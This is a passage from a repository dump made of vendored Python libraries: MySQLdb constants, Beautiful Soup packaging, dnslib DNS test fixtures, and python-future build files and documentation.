12 | print("=== Test file: test.rst ===")
13 | failure, tests = doctest.testfile('test/test.rst', optionflags=doctest.ELLIPSIS)
14 | total_failures += failure
15 | total_tests += tests
16 |
17 | print("=== Test IPy module ===")
18 | import IPy
19 | failure, tests = doctest.testmod(IPy)
20 | total_failures += failure
21 | total_tests += tests
22 |
23 | print("=== Overall Results ===")
24 | print("total tests %d, failures %d" % (total_tests, total_failures))
25 | if total_failures:
26 | sys.exit(1)
27 | else:
28 | sys.stderr.write("WARNING: doctest has no function testfile (before Python 2.4), unable to check README\n")
29 |
30 |
--------------------------------------------------------------------------------
/lib/MySQLdb/.cvsignore:
--------------------------------------------------------------------------------
1 | *.pyc
2 |
--------------------------------------------------------------------------------
/lib/MySQLdb/constants/.cvsignore:
--------------------------------------------------------------------------------
1 | *.pyc
2 |
--------------------------------------------------------------------------------
/lib/MySQLdb/constants/CLIENT.py:
--------------------------------------------------------------------------------
1 | """MySQL CLIENT constants
2 |
3 | These constants are used when creating the connection. Use bitwise-OR
4 | (|) to combine options together, and pass them as the client_flags
5 | parameter to MySQLdb.Connection. For more information on these flags,
6 | see the MySQL C API documentation for mysql_real_connect().
7 |
8 | """
9 |
10 | LONG_PASSWORD = 1
11 | FOUND_ROWS = 2
12 | LONG_FLAG = 4
13 | CONNECT_WITH_DB = 8
14 | NO_SCHEMA = 16
15 | COMPRESS = 32
16 | ODBC = 64
17 | LOCAL_FILES = 128
18 | IGNORE_SPACE = 256
19 | CHANGE_USER = 512
20 | INTERACTIVE = 1024
21 | SSL = 2048
22 | IGNORE_SIGPIPE = 4096
23 | TRANSACTIONS = 8192 # mysql_com.h was WRONG prior to 3.23.35
24 | RESERVED = 16384
25 | SECURE_CONNECTION = 32768
26 | MULTI_STATEMENTS = 65536
27 | MULTI_RESULTS = 131072
28 |
29 |
30 |
--------------------------------------------------------------------------------
/lib/MySQLdb/constants/CR.py:
--------------------------------------------------------------------------------
1 | """MySQL Connection Errors
2 |
3 | Nearly all of these raise OperationalError. COMMANDS_OUT_OF_SYNC
4 | raises ProgrammingError.
5 |
6 | """
7 |
8 | MIN_ERROR = 2000
9 | MAX_ERROR = 2999
10 | UNKNOWN_ERROR = 2000
11 | SOCKET_CREATE_ERROR = 2001
12 | CONNECTION_ERROR = 2002
13 | CONN_HOST_ERROR = 2003
14 | IPSOCK_ERROR = 2004
15 | UNKNOWN_HOST = 2005
16 | SERVER_GONE_ERROR = 2006
17 | VERSION_ERROR = 2007
18 | OUT_OF_MEMORY = 2008
19 | WRONG_HOST_INFO = 2009
20 | LOCALHOST_CONNECTION = 2010
21 | TCP_CONNECTION = 2011
22 | SERVER_HANDSHAKE_ERR = 2012
23 | SERVER_LOST = 2013
24 | COMMANDS_OUT_OF_SYNC = 2014
25 | NAMEDPIPE_CONNECTION = 2015
26 | NAMEDPIPEWAIT_ERROR = 2016
27 | NAMEDPIPEOPEN_ERROR = 2017
28 | NAMEDPIPESETSTATE_ERROR = 2018
29 | CANT_READ_CHARSET = 2019
30 | NET_PACKET_TOO_LARGE = 2020
31 |
--------------------------------------------------------------------------------
/lib/MySQLdb/constants/FIELD_TYPE.py:
--------------------------------------------------------------------------------
1 | """MySQL FIELD_TYPE Constants
2 |
3 | These constants represent the various column (field) types that are
4 | supported by MySQL.
5 |
6 | """
7 |
8 | DECIMAL = 0
9 | TINY = 1
10 | SHORT = 2
11 | LONG = 3
12 | FLOAT = 4
13 | DOUBLE = 5
14 | NULL = 6
15 | TIMESTAMP = 7
16 | LONGLONG = 8
17 | INT24 = 9
18 | DATE = 10
19 | TIME = 11
20 | DATETIME = 12
21 | YEAR = 13
22 | NEWDATE = 14
23 | VARCHAR = 15
24 | BIT = 16
25 | NEWDECIMAL = 246
26 | ENUM = 247
27 | SET = 248
28 | TINY_BLOB = 249
29 | MEDIUM_BLOB = 250
30 | LONG_BLOB = 251
31 | BLOB = 252
32 | VAR_STRING = 253
33 | STRING = 254
34 | GEOMETRY = 255
35 |
36 | CHAR = TINY
37 | INTERVAL = ENUM
38 |
--------------------------------------------------------------------------------
/lib/MySQLdb/constants/FLAG.py:
--------------------------------------------------------------------------------
1 | """MySQL FLAG Constants
2 |
3 | These flags are used along with the FIELD_TYPE to indicate various
4 | properties of columns in a result set.
5 |
6 | """
7 |
8 | NOT_NULL = 1
9 | PRI_KEY = 2
10 | UNIQUE_KEY = 4
11 | MULTIPLE_KEY = 8
12 | BLOB = 16
13 | UNSIGNED = 32
14 | ZEROFILL = 64
15 | BINARY = 128
16 | ENUM = 256
17 | AUTO_INCREMENT = 512
18 | TIMESTAMP = 1024
19 | SET = 2048
20 | NUM = 32768
21 | PART_KEY = 16384
22 | GROUP = 32768
23 | UNIQUE = 65536
24 |
--------------------------------------------------------------------------------
/lib/MySQLdb/constants/REFRESH.py:
--------------------------------------------------------------------------------
1 | """MySQL REFRESH Constants
2 |
3 | These constants seem to mostly deal with things internal to the
4 | MySQL server. Forget you saw this.
5 |
6 | """
7 |
8 | GRANT = 1
9 | LOG = 2
10 | TABLES = 4
11 | HOSTS = 8
12 | STATUS = 16
13 | THREADS = 32
14 | SLAVE = 64
15 | MASTER = 128
16 | READ_LOCK = 16384
17 | FAST = 32768
18 |
--------------------------------------------------------------------------------
/lib/MySQLdb/constants/__init__.py:
--------------------------------------------------------------------------------
1 | __all__ = ['CR', 'FIELD_TYPE','CLIENT','REFRESH','ER','FLAG']
2 |
--------------------------------------------------------------------------------
/lib/MySQLdb/release.py:
--------------------------------------------------------------------------------
1 |
2 | __author__ = "Andy Dustman "
3 | version_info = (1,2,3,'final',0)
4 | __version__ = "1.2.3"
5 |
--------------------------------------------------------------------------------
/lib/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/__init__.py
--------------------------------------------------------------------------------
/lib/adb/.gitignore:
--------------------------------------------------------------------------------
1 | *.pyc
2 | /adb.zip
3 | /fastboot.zip
4 |
--------------------------------------------------------------------------------
/lib/adb/.travis.yml:
--------------------------------------------------------------------------------
1 | language: python
2 |
3 | sudo: false
4 |
5 | python:
6 | - 2.7
7 |
8 | addons:
9 | apt:
10 | packages:
11 | - swig
12 | - libusb-1.0-0-dev
13 |
14 | cache:
15 | pip: true
16 | apt: true
17 | directories:
18 | - $HOME/.cache/pip
19 |
20 | install:
21 | - pip install tox coveralls
22 |
23 | env:
24 | - TOXENV=py27
25 |
26 | script: tox
27 |
28 | after_success:
29 | - coveralls
30 |
--------------------------------------------------------------------------------
/lib/adb/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/adb/__init__.py
--------------------------------------------------------------------------------
/lib/adb/adb/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/adb/adb/__init__.py
--------------------------------------------------------------------------------
/lib/bs4/AUTHORS.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/bs4/AUTHORS.txt
--------------------------------------------------------------------------------
/lib/bs4/MANIFEST.in:
--------------------------------------------------------------------------------
1 | include test-all-versions
2 | include convert-py3k
3 | include *.txt
4 | include doc*/Makefile
5 | include doc*/source/*.py
6 | include doc*/source/*.rst
7 | include doc*/source/*.jpg
8 | include scripts/*.py
9 | include scripts/*.txt
10 |
--------------------------------------------------------------------------------
/lib/bs4/PKG-INFO:
--------------------------------------------------------------------------------
1 | Metadata-Version: 1.1
2 | Name: beautifulsoup4
3 | Version: 4.5.1
4 | Summary: Screen-scraping library
5 | Home-page: http://www.crummy.com/software/BeautifulSoup/bs4/
6 | Author: Leonard Richardson
7 | Author-email: leonardr@segfault.org
8 | License: MIT
9 | Download-URL: http://www.crummy.com/software/BeautifulSoup/bs4/download/
10 | Description: Beautiful Soup sits atop an HTML or XML parser, providing Pythonic idioms for iterating, searching, and modifying the parse tree.
11 | Platform: UNKNOWN
12 | Classifier: Development Status :: 5 - Production/Stable
13 | Classifier: Intended Audience :: Developers
14 | Classifier: License :: OSI Approved :: MIT License
15 | Classifier: Programming Language :: Python
16 | Classifier: Programming Language :: Python :: 2.7
17 | Classifier: Programming Language :: Python :: 3
18 | Classifier: Topic :: Text Processing :: Markup :: HTML
19 | Classifier: Topic :: Text Processing :: Markup :: XML
20 | Classifier: Topic :: Text Processing :: Markup :: SGML
21 | Classifier: Topic :: Software Development :: Libraries :: Python Modules
22 |
--------------------------------------------------------------------------------
/lib/bs4/bs4/tests/__init__.py:
--------------------------------------------------------------------------------
1 | "The beautifulsoup tests."
2 |
--------------------------------------------------------------------------------
/lib/bs4/convert-py3k:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | #
3 | # The Python 2 source is the definitive source. This script uses 2to3-3.2 to
4 | # create a new python3/bs4 source tree that works under Python 3.
5 | #
6 | # See README.txt to see how to run the test suite after conversion.
7 | echo "About to destroy and rebuild the py3k/bs4 directory."
8 | echo "If you've got stuff in there, Ctrl-C out of this script or answer 'n'."
9 | mkdir -p py3k
10 | rm -rfI py3k/bs4
11 | cp -r bs4/ py3k/
12 | 2to3 -w py3k
13 | echo ""
14 | echo "OK, conversion is done."
15 | echo "Now running the unit tests."
16 | (cd py3k && python3 -m unittest discover -s bs4)
--------------------------------------------------------------------------------
/lib/bs4/doc/source/6.1.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/bs4/doc/source/6.1.jpg
--------------------------------------------------------------------------------
/lib/bs4/setup.cfg:
--------------------------------------------------------------------------------
1 | [egg_info]
2 | tag_build =
3 | tag_date = 0
4 | tag_svn_revision = 0
5 |
6 |
--------------------------------------------------------------------------------
/lib/bs4/test-all-versions:
--------------------------------------------------------------------------------
1 | python2.7 -m unittest discover -s bs4 && ./convert-py3k
2 |
--------------------------------------------------------------------------------
/lib/dnslib/MANIFEST.in:
--------------------------------------------------------------------------------
1 | include README.github
2 | include run_tests.sh
3 | include fuzz.py
4 | recursive-include dnslib/test *
5 |
--------------------------------------------------------------------------------
/lib/dnslib/README.github:
--------------------------------------------------------------------------------
1 |
2 | This repository is a clone of the master repository at:
3 |
4 | https://bitbucket.org/paulc/dnslib
5 |
6 | For any issues please use the Bitbucket repository
7 |
8 |
--------------------------------------------------------------------------------
/lib/dnslib/dist/dnslib-0.9.6-py2.7.egg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/dnslib/dist/dnslib-0.9.6-py2.7.egg
--------------------------------------------------------------------------------
/lib/dnslib/dnslib.egg-info/dependency_links.txt:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/lib/dnslib/dnslib.egg-info/top_level.txt:
--------------------------------------------------------------------------------
1 | dnslib
2 |
--------------------------------------------------------------------------------
/lib/dnslib/dnslib/test/_sip._udp.sipgate.co.uk-SRV:
--------------------------------------------------------------------------------
1 | ;; Sending:
2 | ;; QUERY: 923001000001000000000000045f736970045f756470077369706761746502636f02756b0000210001
3 | ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 37424
4 | ;; flags: rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
5 | ;; QUESTION SECTION:
6 | ;_sip._udp.sipgate.co.uk. IN SRV
7 |
8 | ;; Got answer:
9 | ;; RESPONSE: 923081800001000100000000045f736970045f756470077369706761746502636f02756b0000210001c00c002100010000017800150000000013c4077369706761746502636f02756b00
10 | ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 37424
11 | ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
12 | ;; QUESTION SECTION:
13 | ;_sip._udp.sipgate.co.uk. IN SRV
14 | ;; ANSWER SECTION:
15 | _sip._udp.sipgate.co.uk. 376 IN SRV 0 0 5060 sipgate.co.uk.
16 |
17 |
--------------------------------------------------------------------------------
/lib/dnslib/dnslib/test/e164.org-NAPTR:
--------------------------------------------------------------------------------
1 | ;; Sending:
2 | ;; QUERY: 1235010000010000000000000130013001300130013101310131013301390133013001310138013701380465313634036f72670000230001
3 | ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4661
4 | ;; flags: rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
5 | ;; QUESTION SECTION:
6 | ;0.0.0.0.1.1.1.3.9.3.0.1.8.7.8.e164.org. IN NAPTR
7 |
8 | ;; Got answer:
9 | ;; RESPONSE: 1235818000010001000000000130013001300130013101310131013301390133013001310138013701380465313634036f72670000230001c00c002300010000540200320064000a0175074532552b53495022215e5c2b3f282e2a2924217369703a5c5c31406677642e70756c7665722e636f6d2100
10 | ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4661
11 | ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
12 | ;; QUESTION SECTION:
13 | ;0.0.0.0.1.1.1.3.9.3.0.1.8.7.8.e164.org. IN NAPTR
14 | ;; ANSWER SECTION:
15 | 0.0.0.0.1.1.1.3.9.3.0.1.8.7.8.e164.org. 21506 IN NAPTR 100 10 "u" "E2U+SIP" "!^\\+?(.*)$!sip:\\\\1@fwd.pulver.com!" .
16 |
17 |
--------------------------------------------------------------------------------
/lib/dnslib/dnslib/test/facebook.com-AAAA:
--------------------------------------------------------------------------------
1 | ;; Sending:
2 | ;; QUERY: 520a010000010000000000000866616365626f6f6b03636f6d00001c0001
3 | ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21002
4 | ;; flags: rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
5 | ;; QUESTION SECTION:
6 | ;facebook.com. IN AAAA
7 |
8 | ;; Got answer:
9 | ;; RESPONSE: 520a818000010001000000000866616365626f6f6b03636f6d00001c0001c00c001c00010000022100102a0328802110df07faceb00c00000001
10 | ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 21002
11 | ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
12 | ;; QUESTION SECTION:
13 | ;facebook.com. IN AAAA
14 | ;; ANSWER SECTION:
15 | facebook.com. 545 IN AAAA 2a03:2880:2110:df07:face:b00c:0:1
16 |
17 |
--------------------------------------------------------------------------------
/lib/dnslib/dnslib/test/google.com-AAAA:
--------------------------------------------------------------------------------
1 | ;; Sending:
2 | ;; QUERY: 21590100000100000000000006676f6f676c6503636f6d00001c0001
3 | ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8537
4 | ;; flags: rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
5 | ;; QUESTION SECTION:
6 | ;google.com. IN AAAA
7 |
8 | ;; Got answer:
9 | ;; RESPONSE: 21598180000100010000000006676f6f676c6503636f6d00001c0001c00c001c00010000009100102a001450400908050000000000001000
10 | ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 8537
11 | ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
12 | ;; QUESTION SECTION:
13 | ;google.com. IN AAAA
14 | ;; ANSWER SECTION:
15 | google.com. 145 IN AAAA 2a00:1450:4009:805::1000
16 |
17 |
--------------------------------------------------------------------------------
/lib/dnslib/dnslib/test/google.com-SOA:
--------------------------------------------------------------------------------
1 | ;; Sending:
2 | ;; QUERY: 4cce0100000100000000000006676f6f676c6503636f6d0000060001
3 | ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19662
4 | ;; flags: rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
5 | ;; QUESTION SECTION:
6 | ;google.com. IN SOA
7 |
8 | ;; Got answer:
9 | ;; RESPONSE: 4cce8180000100010000000006676f6f676c6503636f6d0000060001c00c000600010000545f0026036e7331c00c09646e732d61646d696ec00c780b88a800001c2000000708001275000000012c
10 | ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 19662
11 | ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
12 | ;; QUESTION SECTION:
13 | ;google.com. IN SOA
14 | ;; ANSWER SECTION:
15 | google.com. 21599 IN SOA ns1.google.com. dns-admin.google.com. 2014021800 7200 1800 1209600 300
16 |
17 |
--------------------------------------------------------------------------------
/lib/dnslib/dnslib/test/google.com-TXT:
--------------------------------------------------------------------------------
1 | ;; Sending:
2 | ;; QUERY: 0cbe0100000100000000000006676f6f676c6503636f6d0000100001
3 | ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 3262
4 | ;; flags: rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
5 | ;; QUESTION SECTION:
6 | ;google.com. IN TXT
7 |
8 | ;; Got answer:
9 | ;; RESPONSE: 0cbe8180000100010000000006676f6f676c6503636f6d0000100001c00c0010000100000e0f004c4b763d7370663120696e636c7564653a5f7370662e676f6f676c652e636f6d206970343a3231362e37332e39332e37302f3331206970343a3231362e37332e39332e37322f3331207e616c6c
10 | ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 3262
11 | ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
12 | ;; QUESTION SECTION:
13 | ;google.com. IN TXT
14 | ;; ANSWER SECTION:
15 | google.com. 3599 IN TXT "v=spf1 include:_spf.google.com ip4:216.73.93.70/31 ip4:216.73.93.72/31 ~all"
16 |
17 |
--------------------------------------------------------------------------------
/lib/dnslib/dnslib/test/in-addr.arpa-PTR:
--------------------------------------------------------------------------------
1 | ;; Sending:
2 | ;; QUERY: 815d01000001000000000000033130330239310332343902363607696e2d61646472046172706100000c0001
3 | ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33117
4 | ;; flags: rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0
5 | ;; QUESTION SECTION:
6 | ;103.91.249.66.in-addr.arpa. IN PTR
7 |
8 | ;; Got answer:
9 | ;; RESPONSE: 815d81800001000100000000033130330239310332343902363607696e2d61646472046172706100000c0001c00c000c00010000542b002d20726174652d6c696d697465642d70726f78792d36362d3234392d39312d31303306676f6f676c6503636f6d00
10 | ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33117
11 | ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
12 | ;; QUESTION SECTION:
13 | ;103.91.249.66.in-addr.arpa. IN PTR
14 | ;; ANSWER SECTION:
15 | 103.91.249.66.in-addr.arpa. 21547 IN PTR rate-limited-proxy-66-249-91-103.google.com.
16 |
17 |
--------------------------------------------------------------------------------
/lib/dnslib/run_tests.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | export PYTHONPATH=$(pwd)
4 |
5 | : ${VERSIONS:="python python3"}
6 |
7 | for src in __init__.py bimap.py bit.py buffer.py label.py dns.py lex.py server.py digparser.py ranges.py test_decode.py
8 | do
9 | echo "===" $src
10 | for py in $VERSIONS
11 | do
12 | echo "Testing:" $($py --version 2>&1)
13 | $py dnslib/$src
14 | done
15 | done
16 |
17 | for py in $VERSIONS
18 | do
19 | echo "Fuzz:" $($py --version 2>&1)
20 | $py fuzz.py
21 | done
22 |
--------------------------------------------------------------------------------
/lib/dnslib/setup.cfg:
--------------------------------------------------------------------------------
1 | [egg_info]
2 | tag_build =
3 | tag_date = 0
4 | tag_svn_revision = 0
5 |
6 |
--------------------------------------------------------------------------------
/lib/ftplib/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/ftplib/__init__.py
--------------------------------------------------------------------------------
/lib/future/.travis.yml:
--------------------------------------------------------------------------------
1 | language: python
2 |
3 | python:
4 | - "3.4"
5 | - "3.3"
6 | - "2.7"
7 | - "2.6"
8 |
9 | sudo: false
10 |
11 | # command to install dependencies, e.g. pip install -r requirements.txt --use-mirrors
12 | # These packages only exist on Ubuntu 13.04 and newer:
13 | # No dependencies currently unless using Python 2.6.
14 |
15 | install:
16 | - if [[ $TRAVIS_PYTHON_VERSION == 2.6* ]]; then pip install -r requirements_py26.txt --use-mirrors; fi
17 | - python setup.py install
18 |
19 | # command to run tests, e.g. python setup.py test
20 |
21 | script:
22 | # We might like to get out of the source directory before running tests to
23 | # avoid PYTHONPATH confusion? As an example, see here:
24 | # https://github.com/tornadoweb/tornado/blob/master/.travis.yml
25 | - python setup.py test
26 |
--------------------------------------------------------------------------------
/lib/future/MANIFEST.in:
--------------------------------------------------------------------------------
1 | include *.sh
2 | include *.txt
3 | include *.rst
4 | include *.py
5 | include .travis.yml
6 | include pytest.ini
7 | recursive-include docs LICENSE
8 | recursive-include docs README
9 | recursive-include docs *.conf
10 | recursive-include docs *.css_t
11 | recursive-include docs *.html
12 | recursive-include docs *.ico
13 | recursive-include docs *.inc
14 | recursive-include docs *.ipynb
15 | recursive-include docs *.png
16 | recursive-include docs *.py
17 | recursive-include docs *.rst
18 | recursive-include docs *.sh
19 | recursive-include docs *.tiff
20 | recursive-include docs *.txt
21 | recursive-include docs Makefile
22 | recursive-include src *.py
23 | recursive-include src *.pem
24 | recursive-include tests *.au
25 | recursive-include tests *.gif
26 | recursive-include tests *.py
27 | recursive-include tests *.txt
28 |
29 |
--------------------------------------------------------------------------------
/lib/future/TESTING.txt:
--------------------------------------------------------------------------------
1 | Currently the tests are passing on OS X and Linux on Python 2.6, 2.7, 3.3 and 3.4.
2 |
3 | The test suite can be run either with:
4 |
5 | $ python setup.py test
6 |
7 | which uses the unittest module's test discovery mechanism, or with:
8 |
9 | $ py.test
10 |
--------------------------------------------------------------------------------
/lib/future/check_rst.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | rst2html README.rst > README.html && xdg-open README.html
3 |
--------------------------------------------------------------------------------
/lib/future/docs/3rd-party-py3k-compat-code/gevent_py3k.py:
--------------------------------------------------------------------------------
1 | """
2 | From gevent/hub.py
3 | """
4 | PY3 = sys.version_info[0] >= 3
5 |
6 | if PY3:
7 | string_types = str,
8 | integer_types = int,
9 | else:
10 | string_types = basestring,
11 | integer_types = (int, long)
12 |
13 |
14 | if sys.version_info[0] <= 2:
15 | import thread
16 | else:
17 | import _thread as thread
18 |
--------------------------------------------------------------------------------
/lib/future/docs/_static/python-future-icon-32.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/future/docs/_static/python-future-icon-32.ico
--------------------------------------------------------------------------------
/lib/future/docs/_static/python-future-icon-white-32.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/future/docs/_static/python-future-icon-white-32.ico
--------------------------------------------------------------------------------
/lib/future/docs/_static/python-future-logo-textless-transparent.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/future/docs/_static/python-future-logo-textless-transparent.png
--------------------------------------------------------------------------------
/lib/future/docs/_static/python-future-logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/future/docs/_static/python-future-logo.png
--------------------------------------------------------------------------------
/lib/future/docs/_static/python-future-logo.tiff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/future/docs/_static/python-future-logo.tiff
--------------------------------------------------------------------------------
/lib/future/docs/_templates/layout.html:
--------------------------------------------------------------------------------
1 | {# Import the theme's layout. #}
2 | {% extends "!layout.html" %}
3 |
4 | {% block extrahead %}
5 | {{ super() }}
6 |
11 | {% endblock %}
12 |
13 | {% block footer %}
14 | {{ super() }}
15 |
26 | {% endblock %}
27 |
28 |
29 | {# Import the theme's layout. #}
30 |
31 |
32 | {# Include our new CSS file into existing ones. #}
33 | {% set css_files = css_files + ['_static/my-styles.css'] %}
34 |
--------------------------------------------------------------------------------
/lib/future/docs/_templates/sidebarintro.html:
--------------------------------------------------------------------------------
1 |
3 | Easy, clean, reliable Python 2/3 compatibility
4 | Table of Contents
5 |
16 |
22 |
--------------------------------------------------------------------------------
/lib/future/docs/_templates/sidebarlogo.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/lib/future/docs/_templates/sidebartoc.html:
--------------------------------------------------------------------------------
1 | {{ toctree(maxdepth=theme_globaltoc_depth|toint, collapse=True, includehidden=theme_globaltoc_includehidden|tobool) }}
2 |
--------------------------------------------------------------------------------
/lib/future/docs/_themes/future/layout.html:
--------------------------------------------------------------------------------
1 | {%- extends "basic/layout.html" %}
2 | {%- block relbar2 %}{% endblock %}
3 | {%- block footer %}
4 |
8 | {%- endblock %}
9 |
--------------------------------------------------------------------------------
/lib/future/docs/_themes/future/relations.html:
--------------------------------------------------------------------------------
1 | Related Topics
2 |
20 |
--------------------------------------------------------------------------------
/lib/future/docs/_themes/future/theme.conf:
--------------------------------------------------------------------------------
1 | [theme]
2 | inherit = basic
3 | stylesheet = future.css
4 |
--------------------------------------------------------------------------------
/lib/future/docs/bind_method.rst:
--------------------------------------------------------------------------------
1 | .. _bind-method:
2 |
3 | Binding a method to a class
4 | ---------------------------
5 |
6 | Python 2 draws a distinction between bound and unbound methods, whereas
7 | in Python 3 this distinction is gone: unbound methods have been removed
8 | from the language. To bind a method to a class compatibly across Python
9 | 3 and Python 2, you can use the :func:`bind_method` helper function::
10 |
11 | from future.utils import bind_method
12 |
13 | class Greeter(object):
14 | pass
15 |
16 | def greet(self, message):
17 | print(message)
18 |
19 | bind_method(Greeter, 'greet', greet)
20 |
21 | g = Greeter()
22 | g.greet('Hi!')
23 |
24 |
25 | On Python 3, calling ``bind_method(cls, name, func)`` is equivalent to
26 | calling ``setattr(cls, name, func)``. On Python 2 it is equivalent to::
27 |
28 | import types
29 | setattr(cls, name, types.MethodType(func, None, cls))
30 |
--------------------------------------------------------------------------------
/lib/future/docs/contents.rst.inc:
--------------------------------------------------------------------------------
1 | Contents:
2 | ---------
3 |
4 | .. toctree::
5 | :maxdepth: 2
6 |
7 | whatsnew
8 | overview
9 | quickstart
10 | compatible_idioms
11 | imports
12 | what_else
13 | automatic_conversion
14 | faq
15 | stdlib_incompatibilities
16 | older_interfaces
17 | changelog
18 | credits
19 | reference
20 |
21 | Indices and tables
22 | ------------------
23 |
24 | * :ref:`genindex`
25 | * :ref:`modindex`
26 | * :ref:`search`
27 |
28 |
--------------------------------------------------------------------------------
/lib/future/docs/custom_str_methods.rst:
--------------------------------------------------------------------------------
1 | .. _custom-str-methods:
2 |
3 | Custom __str__ methods
4 | ----------------------
5 |
6 | If you define a custom ``__str__`` method for any of your classes,
7 | functions like ``print()`` expect ``__str__`` on Py2 to return a byte
8 | string, whereas on Py3 they expect a (unicode) string.
9 |
10 | Use the following decorator to map the ``__str__`` to ``__unicode__`` on
11 | Py2 and define ``__str__`` to encode it as utf-8::
12 |
13 | from future.utils import python_2_unicode_compatible
14 |
15 | @python_2_unicode_compatible
16 | class MyClass(object):
17 | def __str__(self):
18 | return u'Unicode string: \u5b54\u5b50'
19 | a = MyClass()
20 |
21 | # This then prints the name of a Chinese philosopher:
22 | print(a)
23 |
24 | This decorator is identical to the decorator of the same name in
25 | :mod:`django.utils.encoding`.
26 |
27 | This decorator is a no-op on Python 3.
28 |
--------------------------------------------------------------------------------
/lib/future/docs/dev_notes.rst:
--------------------------------------------------------------------------------
1 | Notes
2 | -----
3 | This module only supports Python 2.6, Python 2.7, and Python 3.1+.
4 |
5 | The following renames are already supported on Python 2.7 without any
6 | additional work from us::
7 |
8 | reload() -> imp.reload()
9 | reduce() -> functools.reduce()
10 | StringIO.StringIO -> io.StringIO
11 | Bytes.BytesIO -> io.BytesIO
12 |
13 | Old things that can one day be fixed automatically by futurize.py::
14 |
15 | string.uppercase -> string.ascii_uppercase # works on either Py2.7 or Py3+
16 | sys.maxint -> sys.maxsize # but this isn't identical
17 |
18 | TODO: Check out these:
19 | Not available on Py2.6:
20 | unittest2 -> unittest?
21 | buffer -> memoryview?
22 |
23 |
24 |
--------------------------------------------------------------------------------
/lib/future/docs/development.rst:
--------------------------------------------------------------------------------
1 | .. developer-docs
2 |
3 | Developer docs
4 | ==============
5 |
6 | The easiest way to start developing ``python-future`` is as follows:
7 |
8 | 1. Install Anaconda Python distribution
9 |
10 | 2. Run::
11 |
12 | conda install -n future2 python=2.7 pip
13 | conda install -n future3 python=3.3 pip
14 |
15 | git clone https://github.com/PythonCharmers/python-future
16 |
17 | 3. If you are using Anaconda Python distribution, this comes without a ``test``
18 | module on Python 2.x. Copy ``Python-2.7.6/Lib/test`` from the Python source tree
19 | to ``~/anaconda/envs/yourenvname/lib/python2.7/site-packages/`.
20 |
21 |
22 |
23 |
--------------------------------------------------------------------------------
/lib/future/docs/future-builtins.rst:
--------------------------------------------------------------------------------
1 | .. _future-builtins:
2 |
3 | ``future.builtins``
4 | ===================
5 |
6 | The ``future.builtins`` module is also accessible as ``builtins`` on Py2.
7 |
8 | - ``pow()`` supports fractional exponents of negative numbers like in Py3::
9 |
10 | >>> from builtins import pow
11 | >>> pow(-1, 0.5)
